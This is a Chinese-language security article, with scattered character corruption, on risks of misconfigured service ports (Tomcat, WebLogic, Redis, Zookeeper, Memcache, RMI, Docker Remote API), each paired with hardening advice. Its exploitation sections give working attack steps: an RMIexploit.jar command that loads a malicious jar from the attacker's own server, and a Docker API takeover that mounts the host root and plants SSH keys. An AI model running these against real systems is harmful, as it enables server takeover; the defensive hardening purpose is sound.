常见服务端口安全风险总结

 

 

前言

 

 

在平常安全测试工做中，至少有30%以上的定级为严重和高危的漏洞，都是基于服务端口配置不当所形成的。

所以，本篇文章主要针对服务端口安全问题展开简单总结，但愿能尽可能减小在平常开发工做中的严重高危漏洞。（因为篇幅有限，本文只探讨平时在安全测试中所发现的端口服务漏洞）

 

咱们都知道，Web服务通常都是经过端口号来识别的，而端口与服务的关系，就好像端口是闸门钥匙，服务是泄洪水库，当须要泄洪的时候须要用钥匙开启闸门。一旦钥匙保存不当（端口配置不当），那么这把钥匙就有可能被不怀好意的人所利用，所形成的后果每每是很严重的。好比敏感数据被窃取，服务器命令任意执行，服务器权限被非法获取等。下文来说解具体的某些服务配置不当所形成的漏洞危害，以及如何去正确配置。

 

服务

 

Apache/Tomcat/Nginx等中间件（默认端口：80/8080）

 

一、弱口令（admin/admin，root/root等）

详解：有些应用开放了中间件的控制台页面，若是存在弱口令，可经过爆破登陆控制台，对部署的应用进行任意操做，甚至能够上传恶意脚本getshell。

加固：以tomcat为例，删除tomcat目录下的ROOT文件；或者打开conf/tomcat-uers.xml，修改相似于<user username="admin" password="admin" roles="admin,manager"/>的用户名密码。

二、版本信息泄露

详解：当访问应用不存在的页面时，会返回中间件默认设置的404页面，该页面会泄露相关版本信息。某些版本的中间件含有特定漏洞 ，若是攻击者知道了版本信息，可能会针对该版原本进行攻击，所以须要咱们自定义错误页面。

 

 

加固：在web.xml文件的<error-page>设置中，重定向到自定义的错误页面。

 

WebLogic（默认端口7001）

 

一、java反序列化

详解：Java反序列化即，由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。所以要利用Java反序列化漏洞，须要在进行反序列化的地方传入攻击者的序列化代码。Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0和12.2.1.1版本存在反序列化远程命令执行漏洞，恶意人员能够经过构造恶意请求报文远程执行命令。

利用：一样的java反序列化漏洞，也存在于Jboss、Websphere、Jenkins容器中。可利用java反序列化测试工具进行测试。

 

 

加固：升级weblogic官方补丁包；或者删除特定文件，删除commons-collections.jar包内org/apache/commons/collections/functors/InvokerTransformer.class文件，要用压缩工具软件打开后直接删除。

 

二、Weblogic服务端请求伪造漏洞(SSRF)

详解：WebLogic 服务器的 UDDI 功能一般很隐蔽，但外部能够访问，Oracle的 WebLogic web服务器一般（a）外部可访问；（b）被容许调用对内部主机的链接。 SearchPublicRegistries.jsp 页面可被未认证的攻击者滥用，形成 WebLogic 服务器链接任意主机的任意端口。其返回信息很是详细，可被攻击者用来推断在指定端口是否有相关服务在监听。

利用：经过访问http://**.**.**.**/uddiexplorer/SearchPublicRegistries.jsp，点击search，拦截请求包，将operator参数改成想要探测的主机，经过响应信息科判断主机是否被监听，可探测内网。

 

 

加固：若是业务不须要UDDI功能，就关闭这个功能。能够删除uddiexporer文件夹，能够可在/weblogicPath/server/lib/uddiexplorer.war解压后，注释掉上面的jsp再打包。

 

Redis数据库（默认端口6379）

 

一、Redis未受权访问

详解：redis是一个开源的使用c语言写的，支持网络、可基于内存亦可持久化的日志型、key-value数据库。Redis因配置不当能够未受权访问。攻击者无需认证访问到内部数据，可致使敏感信息泄露，也能够恶意执行flushall来清空全部数据。若是Redis以root身份运行，能够给root帐户写入SSH公钥文件，直接经过SSH登陆受害服务器。

利用：用redis-cli客户端尝试未受权访问，redis-cli -h ip。可获取redis数据库中敏感信息，还能够写入SSH公钥文件来登陆受害服务器，从而获取服务器权限。

 

 

加固：为Redis 添加密码验证（重启redis才能生效）：修改 redis.conf 文件，添加requirepass mypassword（注意redis不要用-a参数，明文输入密码，链接后使用auth证）；或者禁止一些高危命令（重启redis才能生效）修改 redis.conf 文件，禁用远程修改 DB 文件地址：

rename-command FLUSHALL ""

rename-command CONFIG ""

rename-command EVAL ""

 

Zookeeper服务（默认端口2181）

 

一、未受权访问

详解：分布式的，开放源码的分布式应用程序协调服务。Zookeeper安装部署以后默认状况下不须要任何身份验证，形成攻击者能够远程利用Zookeeper，经过服务器收集敏感信息或者在Zookeeper集群内进行破坏（好比：kill命令）。攻击者可以执行全部只容许由管理员运行的命令。

利用：执行如下命令便可远程获取该服务器的环境：echo envi | nc ip port

直接链接：./zkCli.sh -server ip:port

加固： 一、禁止把Zookeeper直接暴露在公网二、添加访问控制，根据状况选择对应方式（认证用户，用户名密码）三、绑定指定IP访问

Memcache服务（默认端口11211）

一、未受权访问

详解：Memcache是一套经常使用的key-value缓存系统，因为它自己没有权限控制模块，因此对公网开放的Memcache服务很容易被攻击者扫描发现，攻击者经过命令交互可直接读取Memcached中的敏感信息。

利用：一、登陆机器执行netstat -an |more命令查看端口监听状况。回显0.0.0.0:11211表示在全部网卡进行监听，存在memcached未受权访问漏洞。二、telnet <target> 11211，或nc -vv <target> 11211，提示链接成功表示漏洞存在。

加固：一、设置memchached只容许本地访问二、禁止外网访问Memcached 11211端口三、编译时加上–enable-sasl，启用SASL认证

RMI服务（默认端口1090、1099）

一、远程命令执行

详解：Java RMI服务是远程方法调用。它是一种机制，可以让在某个java虚拟机上的对象调用另外一个Java虚拟机的对象的方法。1099端口本来对应的服务为 Apache ActiveMQ 对 JMX 的支持，可是因为配置不当，致使攻击者能够经过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ，便可以远程执行任意代码。固然，这个 JMX 的利用方法不只仅在 ActiveMQ 上可以利用，在不少服务支持 JMX 的状况下其实也可以适用。

利用：利用攻击测试文件RMIexploit.jar（可从网上下载），其中的ErrorBaseExec.jar是一个自定义的能够执行回显的jar文件，将它放置到VPS上使得其能够经过http访问。命令行下执行java -jar RMIexploit.jar 目标ip 端口 http://本身ip:端口/ErroBaseExec.jar "命令"

Docker Remote API（默认端口2375）

一、Docker未受权访问

详解：Docker Remote API是一个取代远程命令行界面（rcli）的REST API。经过 docker client 或者 http 直接请求就能够访问这个 API，经过这个接口，咱们能够新建 container，删除已有 container，甚至是获取宿主机的 shell。

利用：经过访问http://ip/images/json能够获取到全部的 images 列表

http://host:2375/containers/json会返回服务器当前运行的 container列表，和在docker CLI上执行 docker ps 的效果同样，过Post包咱们还能够新建、开启和关闭容器，其余操做好比拉取image等操做也均可以经过API调用完成。

Docker remote Api未受权访问的攻击原理与以前的Redis未受权访问漏洞大同小异，都是经过向运行该应用的服务器写文件，从而拿到服务器的权限，常见的利用方法以下:

（1）远程对被攻击的主机的docker容器进行操做：docker -H tcp://remoteip:2375 images

（2）启动一个容器并将宿主机根目录挂在到容器的mnt目录：docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash

（3）在本地主机生成公钥文件：ssh-keygen

（4）在容器上的root目录中，mkdir .ssh 建立ssh目录；touch authorized_keys 建立文件

（5）将主机中的rsa.pub里的公钥写入容器中的authorized_keys文件里

（6）ssh root@ip 免密码登陆宿主主机

加固：一、在没必要需的状况下，不要启用docker的remote api服务，若是必须使用的话，能够采用以下的加固方式：设置ACL，仅容许信任的来源IP链接；设置TLS认证，官方的文档为Protect the Docker daemon socket

一、 客户端链接时须要设置如下环境变量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

三、在 docker api 服务器前面加一个代理，例如 nginx，设置 401 认证

 

结束语

以上关于服务端口的漏洞，都是基于平时对公司产品进行安全测试时所发现的。在WEB应用中，能获取服务器权限或getshell的漏洞，不少都是因为开发人员疏忽了对服务端口的安全配置形成的。其实，只要作好对服务端口的正确配置和加固，就能避免至关一部分高中危甚至是严重的漏洞。